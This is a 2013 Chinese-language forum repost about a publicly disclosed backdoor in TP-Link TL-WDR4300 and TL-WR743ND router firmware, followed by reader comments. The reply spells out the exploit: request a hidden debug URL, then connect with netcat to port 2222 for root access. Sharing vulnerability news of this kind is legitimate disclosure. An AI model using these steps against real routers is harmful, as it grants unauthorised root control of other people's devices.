作者Obb (有趣的世界)
看板AntiVirus
標題Fw: [情報] TP-Link 路由器發現後門
時間Sat Mar 16 14:42:11 2013
※ [本文轉錄自 Broad_Band 看板 #1HH1E3Fu ]
作者: Obb (有趣的世界) 看板: Broad_Band
標題: Re: [情報] TP-Link 路由器發現後門
時間: Sat Mar 16 14:38:57 2013
難怪美國的資訊採購堅持不用 華為設備
但我們三大電信採購買了很多... 真有種
後門進入方式
先
http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html
再nc 192.168.0.1 2222
獲取TP-Link最高權限。
※ 引述《YuiFAN (半熟魷魚)》之銘言：
: http://www.solidot.org/story?sid=33846
: 安全研究員 Michal Sajdak 在深圳普聯技術有限公司（TP-LINK）的路由器產品
: TL-WDR4300 的韌體中發現了後門漏洞，在通知普聯無果後，公開了漏洞的概念
: 驗證攻擊代碼。
: 受影響的型號包括 TL-WDR4300 和 TL-WR743ND (v1.2 / v2.0) 等，包含遠程
: root 漏洞的韌體版本是去年底發佈的最新版本 3.13.23 Build 122512
: (即2012年12月25日發佈的版本)。Sajdak於 2月12日和22日兩次向普聯發去了
: 詳細介紹漏洞的郵件，都沒有得到任何回應，於是在3月12日公開了漏洞。
: 此漏洞的詳細說明網頁：
: http://sekurak.pl/tp-link-httptftp-backdoor/
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 182.18.223.9
※ Obb:轉錄至看板 Network 03/16 14:39
※ 發信站: 批踢踢實業坊(ptt.cc)
※ 轉錄者: Obb (182.18.223.9), 時間: 03/16/2013 14:42:11
1F：→ y3k:這家好可惜 明明用超有名廠商的晶片 卻聽說效能普普 又出這包 03/16 17:24
2F：推 litleaf:怎麼沒人理這篇阿 明明一堆家庭都用這個阿!! 03/16 20:24
3F：→ y3k:好像也沒有到一堆人用啦XD 03/16 20:40
4F：推 norlan17m:我還買了一個旅行用的AP，想說還不錯用 03/16 21:29
5F：→ bestpika:因為買回來就刷別的韌體去了根本沒這問題 XD 03/17 07:17
6F：→ sennei:這家產品便宜大碗說@@ 03/18 14:08
7F：推 Bohm:....我也有買 = = 03/19 17:04
8F：推 richjf:通常是買來刷第三方韌體的.不過在中國當地賣的滿多不能刷. 04/02 11:02